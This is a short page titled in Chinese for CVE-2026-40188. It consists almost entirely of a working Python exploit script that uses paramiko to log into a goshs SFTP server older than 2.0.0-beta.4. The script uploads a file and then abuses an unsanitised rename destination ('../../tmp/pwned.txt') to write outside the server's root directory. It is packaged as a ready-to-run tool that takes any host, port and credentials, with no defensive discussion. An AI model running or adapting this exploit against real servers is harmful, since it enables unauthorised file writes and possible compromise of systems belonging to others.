CVE-2026-40188 goshs SFTP路径遍历漏洞

import paramiko import sys # Exploit for CVE-2026-40188: goshs SFTP Path Traversal via Rename # Target: goshs < 2.0.0-beta.4 def exploit(host, port, username, password): try: # Create SSH client transport = paramiko.Transport((host, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) print(f"[*] Connected to {host}:{port}") # 1. Create a dummy file inside the allowed root directory local_file = 'payload.txt' remote_safe_file = 'payload.txt' with open(local_file, 'w') as f: f.write('Malicious content') sftp.put(local_file, remote_safe_file) print(f"[*] Uploaded {local_file} to {remote_safe_file}") # 2. Exploit the rename vulnerability # Source path is sanitized, but Destination path is NOT # We try to rename the file to escape the root directory malicious_dest = "../../tmp/pwned.txt" print(f"[*] Attempting to rename {remote_safe_file} to {malicious_dest}...") sftp.rename(remote_safe_file, malicious_dest) print("[+] Exploit successful! File written outside root directory.") sftp.close() transport.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <host> <port> <user> <pass>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])